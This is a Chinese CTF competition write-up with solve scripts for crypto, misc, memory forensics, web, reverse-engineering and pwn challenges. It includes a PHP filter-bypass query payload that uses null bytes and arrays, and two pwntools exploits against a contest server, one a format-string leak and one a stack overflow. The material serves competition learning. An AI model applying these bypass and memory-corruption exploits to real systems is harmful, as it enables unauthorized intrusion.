这次比赛躺了躺进线下...菜狗拿了道copper的一血....害...但是没ak crypto!最后上的题感觉要吗装32位虚拟机要吗就逆算法.....cao....(防ak吗...

# Crypto:

# easySteram:

观察题目发现他给出的 hint 是五组数据,而对应的加密方式是 lfsr 加密,并且转换成了 ascii 字符。然后题目里又说了 除了 LFSR 以外的另外一种流密码的方式 一开始我猜了的是 random 库里的梅森旋转,然后发现 LCG 刚好对的上 五组数据。那就可以针对 LCG 进行攻击,就能够得到 LCG 对应的 并且是文件名...(想了半天..

from Crypto.Util.number import*
from functools import reduce
import hashlib
def inv_L(R,mask):
    str=bin(R)[2:].zfill(48)
    new=str[-1:]+str[:-1]
    new=int(new,2)                    #R 循环右移一位得到 new
    i = (new & mask) & 0xffffffffffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    return R>>1 | lastbit<<47         #最高位用 lastbit 填充
def get_mod(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(GCD, zeroes))
    return modulus
def LCG(x):
    return (a*x+b)%n
if __name__ == "__main__":
    hint = [3552318300093355576,7287716593817904745,10709650189475092178,9473306808836439162,7033071619118870]
    n = get_mod(hint)
    a = (hint[2]-hint[1])*inverse(hint[1]-hint[0],n)
    b = (hint[1]-a*hint[0])%n
    mask = 0b101010001000010001001000100000101000100011000010
    data = []
    num = hint[0]
    for i in range(1000):
        f = open(r'.\key/{}'.format(str(num)),'rb')
        data.append((f.read()))
        f.close()
        num = LCG(num)
    str = b''
    for i in range(6):
        str = str +data[i]
    c = bytes_to_long(str)
    for _ in range(48):
        c = inv_L(c,mask)
    print('flag{' + hashlib.md5((oct(c)[2:]).encode()).hexdigest() + '}')

# Bad-Curve:

看了下题目..... 这么小的数据.... 然后只是标量乘法..... 直接爆破。

from Crypto.Cipher import AES
from Crypto.Util.number import inverse, long_to_bytes
from collections import namedtuple
# Create a simple Point class to represent the affine points.
Point = namedtuple("Point", "x y")
def div(m,n,p):#其中的 /
    return m*inverse(n,p)
def pointaddtion(P,Q,p):
    O=(0,0)
    if P[0]==O[0] and P[1]==O[1]:
        return Q
    elif Q[0]==O[0] and Q[1]==O[1]:
        return P
    elif Q[0]==P[0] and Q[1]==-P[0]:
        return O
    elif P!=Q:
        m=div(Q[1]-P[1],Q[0]-P[0],p)
    else:
        m=div(3*P[0]*P[0]+a,2*P[1],p)
    x3=m*m-Q[0]-P[0]
    y3=m*(P[0]-x3)-P[1]
    R=(x3%p,y3%p)
    return R
def scalarmultiplication(n,P,p):
    if n==1:
        return P
    Y=scalarmultiplication(n//2,P,p)
    X=pointaddtion(Y,Y,p)
    if n%2==1:
        X=pointaddtion(X,P,p)
    return X[0]%p,X[1]%p
if __name__ == "__main__":
    # Define the curve
    p = 5861
    a = 5144
    b = 7002
    P = Point(1616, 1351)
    Q = Point(5733,603)
    for i in range(1,p):
        if scalarmultiplication(i,P,p) == Q:
            print(i)
            break
    aes=AES.new(int(89).to_bytes(16,'big'), AES.MODE_CBC, bytes(16))
    c = long_to_bytes(4772913380768971224711602816943506381429523609738355134556748160902211637274533659159340900788332375138903310885955)
    print(aes.decrypt(c))

# RSA2:

观察题目中 他 用随机数去生成了 N,但是我们自己使用这个函数去生成发现 得到的数都不会变... 那不是白给?然后这个 padding1 和 padding2 最大差个一百多 emmm... 同时我们可以发现这里是 Related Message Attack 就可以直接得到 e2+padding1 和 e2++padding2

而 d 是由 e2 生成的,并且 e2 在 50000~60000 之间。。。那就直接去爆破 e2...... 并且 h 和 g 都是可以得到的。比较,得到 e2

那接下去直接去解密就好啦~

from Crypto.Util.number import *
from gmpy2 import *
def generatePQ():
    st = random_state()
    p = int(mpz_urandomb(st, 2048))
    q = int(mpz_urandomb(st, 2048))
    while((is_prime(p, 50) and is_prime(q, 50)) == False):
        p = int(next_prime(p))
        q = int(next_prime(q))
    return p, q
if __name__ == "__main__":
    p,q = generatePQ()
    n = p*q
    phi = (p-1) * (q-1)
    e1 = 3
    h = 73848642434738867367477225086726888395852920758614133495828335507877859511862002848037040713538347334802971992946443655728951228215538557683172582670964297757897239619386044898759264210423339349230213909268805339389420150987118078950524911018047255588024612603547365858714122701018350042307021931058343380562835003665731568505773484122782553098643140312700105413000212984821873751937531991369317400032403465633780535286923404386459988367374340142852850593284541563858829367072310534803205896401476440899512604526967410832990327872756442819020392626930518136601018466180890464963004282304763488756943631269919832869202
    g = 3976547671387654068675440379770742582328834393823569801056509684207489138919660098684138301408123275651176128285451251938825197867737108706539707501679646427880324173378500002196229085818500327236191128852790859809972892359594650456622821702698053681562517351687421071768373342718445683696079821352735985061279190431410150014034774435138495065087054406766658209697164984912425266716387767166412306023197815823087447774319129788618337421037953552890681638088740575829299105645000980901907848598340665332867294326355124359170946663422578346790893243897779634601920449118724146276125684875494241084873834549503559924080309955659918449396969802766847582242135030406950869122744680405429119205293151092844435803672994194588162737131647334232277272771695918147050954119645545176326227537103852173796780765477933255356289576972974996730437181113962492499106193235475897508453603552823280093173699555893404241432851568898226906720101475266786896663598359735416188575524152248588559911540400610167514239540278528808115749562521853241361159303154308894067690191594265980946451318139963637364985269694659506244498804178767180096195422200695406893459502635969551760301437934119795228790311950304181431019690890246807406970364909654718663130558117158600409638504924084063884521237159579000899800018999156006858972064226744522780397292283123020800063335841101274936236800443981678756303192088585798740821587192495178437647789497048969720110685325336457005611803025549386897596768084757320114036370728368369612925685987251541629902437275412553261624335378768669846356507330025425467339014984330079364067149950238561943275006049728406278318846998650496707162387768801213108565185221147664770009978012050906904959264045050100404522270495606970447076283894255951481388496134870426452215997834228869196114684962261076716651779120620585343304887755029463545328534291186
    c = 141187369139586875794438918220657717715220514870544959295835385681523005285553297337947377472083695018833866941104904071675141602626896418932763833978914936423338696805941972488176008847789235165341165167654579559935632669335588215515509707868555632337151209369075754122977694992335834572329418404770856890386340258794368538033844221701815983303376617825048502634692029763947325144731383655217790212434365368739783525966468588173561230342889184462164098771136271291295174064537653917046323835004970992374805340892669139388917208009182786199774133598205168195885718505403022275261429544555286425243213919087106932459624050446925210285141483089853704834315135915923470941314933036149878195756750758161431829674946050069638069700613936541544516511266279533010629117951235494721973976401310026127084399382106355953644368692719167176012496105821942524500275322021731162064919865280000886892952885748100715392787168640391976020424335319116533245350149925458377753639177017915963618589194611242664515022778592976869804635758366938391575005644074599825755031037848000173683679420705548152688851776996799956341789624084512659036333082710714002440815131471901414887867092993548663607084902155933268195361345930120701566170679316074426182579947
    for e2 in range(50000, 60000):
        try:
            d = inverse(e2,phi)
            h1 = (d-p)^(d+p)
            g1 = d*(p-0xdeadbeef)
            if(h1==h and g1==g):
                print("e2:",e2)
                break
        except:
            continue
    print(long_to_bytes(pow(c,d,n)))

# RSA-with-hidden-p_part:

一开始附件给错了... 看了 n 久都不知道是啥... 然后又重新给了附件... 看题 发现 data 就 213 个 然后都是根据 data**2 去生成的 这里有个坑 就是运算顺序的! 要清楚.... 然后我是想了半天才发现 .... data<<1 就是 0 data<<2 就是 1 接下去就可以得到了 p 的高位...Copper

一开始我拿 1024 位去算 发现不行... 没用 出不来 x... 然后找办法 去爆破 p 的位数... 没想到真是这样 398 位 出了

from Crypto.Util.number import*
def get_x0():
    '''
    pbar = 11820026693187076726118808485305105465666823386947922735440269483223044778424815772142880112297698070148416497723797809485529364856468926499841358871215301672204583025074
    N = 17792839004069206505311165358965315159660960021876501638465779564660435354728866263950853789588593668127397781562022048299972203542490012884029610338759733016996976148246425653534473740879965981219064248163192069030090884735828855170495382479655366526033714537180090769165324090204860138147523482782402175203226238151594614492880153873145258957724395582001330822432735918506940599321342304662083198563995641394668197278283191088011830808723938187712792916629375128024721501299600284578947502283415715172218993597794995155493943923831639727793517623689226167983344366410056166618746678592793631650760012411580637035777
    for kbits in range(1024):
        ZmodN = Zmod(N)
        P.<x> = PolynomialRing(ZmodN)
        f = (pbar*2**kbits + x)
        f = f.monic()
        x0 = f.small_roots(X=2**kbits, beta=0.4,epsilon = 0.04)
        if x0!= []:
            print(x0)
            print(kbits)
            break
    '''
    x0 = 301875891534320588914860305454653432129956573574513840847616056645331286842598781545293425781324404773773115207248765671
    kbits = 398
    return x0,kbits
if __name__ == "__main__":
    e = 0x10001
    n = 17792839004069206505311165358965315159660960021876501638465779564660435354728866263950853789588593668127397781562022048299972203542490012884029610338759733016996976148246425653534473740879965981219064248163192069030090884735828855170495382479655366526033714537180090769165324090204860138147523482782402175203226238151594614492880153873145258957724395582001330822432735918506940599321342304662083198563995641394668197278283191088011830808723938187712792916629375128024721501299600284578947502283415715172218993597794995155493943923831639727793517623689226167983344366410056166618746678592793631650760012411580637035777
    c = 47544416942854840596876466634550757138457971777147902559332161978926437099575250451807599366474677616289825131936185950220522336363178955584220874970220865200716718183695366602106708856027144557504589893189728060818136500378667888349394918331945326795210323330208786962431108052065902363650047527024838196525288156921316276153197248136532473469956110283681199279132343194309319016175321231286064860091953668148386662333142666601571105164788444790879102866676641554466606414127621055197889576107822754427386801908786157440099385224491288571327853804008872915570680784690649728102620799753745868995526912824797945211
    data=[8137189, 8137231, 8137333, 8137387, 8137513, 8137609, 8137733, 8137783, 8137853, 8137919, 8137979, 8138239, 8138371, 8138443, 8138489, 8138513, 8138561, 8138717, 8138729, 8138737, 8138789, 8138807, 8138861, 8138881, 8138909, 8139017, 8139113, 8139151, 8139221, 8139301, 8139331, 8139377, 8139431, 8139451, 8139497, 8139589, 8139683, 8139709, 8139773, 8139797, 8139871, 8139959, 8139973, 8140043, 8140087, 8140103, 8140117, 8140133, 8140159, 8140177, 8140211, 8140421, 8140441, 8140537, 8140571, 8140609, 8140651, 8140661, 8140763, 8140843, 8140961, 8140981, 8141117, 8141137, 8141143, 8141153, 8141213, 8141267, 8141377, 8141459, 8141531, 8141603, 8141753, 8141879, 8141893, 8142137, 8142151, 8142157, 8142271, 8142389, 8142397, 8142467, 8142487, 8142557, 8142637, 8142731, 8142751, 8142803, 8142821, 8142833, 8143007, 8143043, 8143199, 8143273, 8143313, 8143319, 8143351, 8143601, 8143627, 8143651, 8143769, 8143781, 8143853, 8144009, 8144011, 8144083, 8144137, 8144219, 8144237, 8144261, 8144497, 8144651, 8144743, 8144803, 8144839, 8144879, 8144957, 8145031, 8145113, 8145139, 8145173, 8145209, 8145283, 8145349, 8145419, 8145443, 8145479, 8145671, 8145673, 8145689, 8145691, 8145911, 8146169, 8146363, 8146507, 8146511, 8146529, 8146609, 8146639, 8146673, 8146819, 8146867, 8146969, 8147071, 8147101, 8147123, 8147159, 8147261, 8147351, 8147407, 8147551, 8147567, 8147627, 8147653, 8147791, 8147813, 8147917, 8147921, 8147933, 8148059, 8148221, 8148263, 8148367, 8148499, 8148541, 8148551, 8148571, 8148677, 8148713, 8148727, 8148733, 8148737, 8148743, 8148779, 8148839, 8148977, 8149151, 8149237, 8149279, 8149301, 8149367, 8149369, 8149457, 8149553, 8149639, 8149741, 8149759, 8149949, 8150029, 8150047, 8150321, 8150333, 8150369, 8150561, 8150629, 8150647, 8150741, 8150839, 8151023, 8151079, 8151113, 8151167, 8151193, 8151203, 8151271, 8151401, 8151431, 8151827, 8151887, 8151937, 8151953, 8151967, 8151991, 8152031]
    me1_data = []
    f = open('flag.enc','rb')
    me1_data = f.readlines()
    for i in range(562):
        me1_data[i] = int(me1_data[i][2:].strip(),16)
    for i in range(len(data)):
        data[i] = (data[i]**2)
    num_dict = {}
    for i in range(len(data)):
        num_dict[str(pow(data[i]<<1,e,n))]=0
        num_dict[str(pow(data[i]<<2,e,n))]=1
    str1 = ''
    for i in range(len(me1_data)):
        str1 = str(num_dict[str(me1_data[i])])+str1
    pbar = int(str1,2)
    x0,kbits = get_x0()
    p = pbar*2**398+x0
    q = n//p
    phi = (p-1)*(q-1)
    print(p)
    d = inverse(e,phi)
    print(long_to_bytes(pow(c,d,n)))

# MISC:

# RGB:

观察题目给的文件,发现是 255#255#255 144#219#255 等等...

用 PIL 去画图 一共 28864 行数据 找因子,盲猜他的宽和高是 352 和 82

from PIL import Image
if __name__ =="__main__":
	x=352
	y=82
	im = Image.new('RGB', (x, y))
	with open('code.txt') as f:
		for i in range(x):
			for j in range(y):
				line = f.readline()
				s = line.split('#')
				im.putpixel((i, j), (int(s[0]), int(s[1]), int(s[2])))
	im.show()

得到后发现是倒过来的 flag。

# Zip:

爆破密码... 然后培根解文档,修改字体就能够看到 flag 了。。。

# Memory_1

附件是一个内存镜像,用 volatility workbench 加载,查看进程,发现几个 cmd 进程和一个 vbs 脚本的宿主进程。

image-20210505212319762

查看 cmdline,发现 vbsHost 执行的是 temp 目录下的 vbs 脚本

image-20210505212411383

# Memory_2

#

python vol.py -f mal.vmem windows.registry.printkey --key "SAM\Domains\Account\Users\Names"

查看注册表中的用户信息,发现除了正常用户之外,存在一个隐藏用户 test 。并且发现最后一次修改该注册表的时间为 2019-10-29 17:42:11。

image-20210505222743618

python vol.py -f mal.vmem windows.psscan.PsScan

搜索全部进程,发现一个进程的创建时间与注册表修改时间完全相同。导出该进程,被杀毒软件爆出后门病毒,实锤。

image-20210505223013310

看 flag 描述怎么交的......emmm.... 用户名 & 进程名之后再 md5。 试了好多次 最后发现 $ 也要加上。于是我们得到的 flag 就是 md5 ("test$&net1.exe")

# web

# easyweb

非常简单的 php 审计题

$a 是一个数组

用类型转换绕过 is_numeric

$a["bar1"]=222222a

然后将 $a["bar2"] 设置成长度为五的数组, $a["bar2"][0] 写成数组

$a["bar2"][0][0]=1

$a["bar2"][1]=1

$a["bar2"][2]=1

$a["bar2"][3]=1

$a["bar2"][4]=1

phpstormjson_encode 之后作为参数

通过截断绕过 eregi

通过数组绕过 strpos

$c[0]=a

$c[1][0]=%00cstc2021

$d=%00cstc2021

payload:?foo={"bar1":"222222a","bar2":[[1],1,1,1,1]}&cat[0]=a&cat[1][0]=%00cstc2021&dog=%00cstc2021

传参过去即可拿到 flag

# easyweb2:

这题打开来看啥也没有,直接上扫,扫出来 /swagger-ui.html/swagger-resources ,直接访问前者看到一个 api 管理界面,在登陆处尝试爆破用户名和密码,居然给爆出来了, test&test ,登陆后拿到 token,然后在 CTFer用户管理 处爆破 id,拿到管理员用户名和密码,然后登录,根据 hint 关注 /home/index 页面,发现有 ssrf 漏洞,拿到 flag

# RE:

# free_flag:

无壳,直接拖入 ida64 分析,找到关键函数

int i; // [rsp+14h] [rbp-1Ch]
  for ( i = 0; i < strlen(a1) - 1; ++i )
  {
    if ( (byte_B98[i] ^ 0xC) != a1[i] )
      return 1LL;
  }
  return 0LL;
}

简单的异或。。。

直接上脚本

source=[0x78, 0x64, 0x3F, 0x53, 0x6D, 0x79, 0x78, 0x64, 0x62, 0x3F, 0x78                
,0x3D, 0x6F, 0x38, 0x3D, 0x78, 0x3C, 0x62, 0x53, 0x39, 0x75, 0x39,
0x78, 0x3F, 0x61, 0x53, 0x3D, 0x39, 0x53, 0x62, 0x3C, 0x78, 0x53,
0x3C, 0x39, 0x53, 0x39, 0x3F, 0x6F, 0x79, 0x7E, 0x3F, 0x0A]
for i in source:
    print(chr(i^0xc),end='')

th3_authn3t1c41t0n_5y5t3m_15_n0t_05_53cur3 md5 加密上交,正确

# crackme

有 upx 壳,托壳后拖入 ida 分析 关键函数如下

v13 = GetDlgItemTextA(hWndParent, 4, byte_4031B4, 40);
            if ( v13 && v13 <= 10 && v13 >= 10 )
            {
              v14 = 0;
              while ( 1 )
              {
                v15 = byte_4031B4[v14];
                if ( !v15 )
                  break;
                v16 = byte_40313C[v14] + 5;
                if ( v16 > 90 )
                  v16 = byte_40313C[v14] - 8;
                v17 = v16 ^ 0xC;
                if ( v17 < 65 )
                {
                  v17 = v14 + 75;
                }
                else if ( v17 > 90 )
                {
                  v17 = 75 - v14;
                }
                ++v14;
                if ( v17 != v15 )
                  goto LABEL_35;
              }
              MessageBoxA(0, aSerialIsCorrec, aGoodCracker, 0);

题目描述中给出 name 为 crackme,拖入后动调,可知 byte_40313C 为 OVKLCJZJGN ,上脚本:

s='OVKLCJZJGN'
for i in range(10):
    a=ord(s[i])+5
    if a >ord("Z"):
        a=ord(s[i])-8
    b=a^0xc
    if b <65:
        b=i+75
    if b>90:
        b=75-i
    print(chr(b),end='')

XBIHDCECSB MD5 加密后上交

# ck

无壳,直接拖入 ida 分析关键函数如下

v10 = 0;
  for ( i = 0; i < a2; ++i )
  {
    v3 = i % 3;
    if ( i % 3 == 1 )
    {
      v5 = v10++;
      *(_BYTE *)(a3 + v5) = byte_410200[16 * (*(_BYTE *)(a1 + i - 1) & 3) + ((*(unsigned __int8 *)(a1 + i) >> 4) & 0xF)];
    }
    else if ( v3 == 2 )
    {
      *(_BYTE *)(a3 + v10) = byte_410200[4 * (*(_BYTE *)(a1 + i - 1) & 0xF) + ((*(unsigned __int8 *)(a1 + i) >> 6) & 3)];
      v6 = v10 + 1;
      v10 += 2;
      *(_BYTE *)(a3 + v6) = byte_410200[*(_BYTE *)(a1 + i) & 0x3F];
    }
    else if ( !v3 )
    {
      v4 = v10++;
      *(_BYTE *)(a3 + v4) = byte_410200[(*(unsigned __int8 *)(a1 + i) >> 2) & 0x3F];
    }
  }
  v9 = i - 1;
  if ( v9 % 3 )
  {
    if ( v9 % 3 == 1 )
    {
      *(_BYTE *)(a3 + v10) = byte_410200[4 * (*(_BYTE *)(a1 + v9) & 0xF)];
      *(_BYTE *)(a3 + v10 + 1) = 61;
    }
  }
  else
  {
    *(_BYTE *)(a3 + v10) = byte_410200[16 * (*(_BYTE *)(a1 + v9) & 3)];
    *(_BYTE *)(a3 + v10 + 1) = 61;
    *(_BYTE *)(a3 + v10 + 2) = 61;
  }
  return 0;
}

结合 output,明显是 base64 加密,但是换了个奇怪的表 上脚本

import base64
enc = 'ef"^sVK@3r@Ke4e6%6`)'## 原文
intab = ',.0fgWV#`/1Heox$~"2dity%_;j3csz^+@{4bKrA&=}5laqB*-[69mpC()]78ndu'## 新表
outtab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'## 旧表
transtab = str.maketrans(intab,outtab)
enc = enc.translate(transtab)
print(base64.b64decode(enc).decode())

04_tianhe233_29 MD5 加密后上交

# MAZE:

迷宫的地图经过了两次变换,直接动调 dump 出最后的地图

1 0 0 1 1 1 1 
1 0 1 1 0 0 1 
1 1 1 0 1 1 1 
0 0 0 1 1 0 0 
1 1 1 1 0 0 0 
1 0 0 0 1 1 1 
1 1 1 1 1 0 1 

wsad 分别对应 上下左右

手动走迷宫可以得到路径 ssddwdwdddssaasasaaassddddwdds

计算 md5 即可得到 flag

# PWN:

# Bank:

from pwn import *
sla = lambda x,y:io.sendlineafter(x,y)
ru = lambda x:io.recvuntil(x)
rl = lambda :io.recvline()
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
# 首先爆破 /dev/urandom(passwd)
while True :
    io = remote('81.70.195.166', 10000)
    ru('Please enter your account:\n')
    sl('hs')
    ru(':\n')
    s('\x00'*49)
    result = rl()
    if (b'Do you' in result):
        print ('success')
        break
    else:
        io.close()
# 然后根据格式化字符串漏洞,首先调试得出偏移为 8,然后根据漏洞读取 flag
sl ("yes")
sla ("Please input your private code: \n","%8$s")
io.interactive()

# Auto:

exp 分为两部分

import angr
proj = angr.Project('./auto',auto_load_libs = False) 
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find = 0x804874A)
print (simgr.found[0].posix.dumps(0))
#  b'UXYUKVNZ'
#  爆破得到 passwd

首先用 angr 爆破 passwd,得到 passwd 为 UXYUKVNZ

from pwn import *
io = remote('81.70.195.166',10001)
sla = lambda x,y:io.sendlineafter(x,y)
sla ("Enter the password: \n","UXYUKVNZ")
payload = flat(['a'*0x4c , 0x8048665])
sla ("Enter the password again: \n",payload)
io.interactive()

login_again 的时候存在栈溢出漏洞吗,直接利用,得到 flag

请我喝[茶]~( ̄▽ ̄)~*

De3B4to 微信支付

微信支付

De3B4to 支付宝

支付宝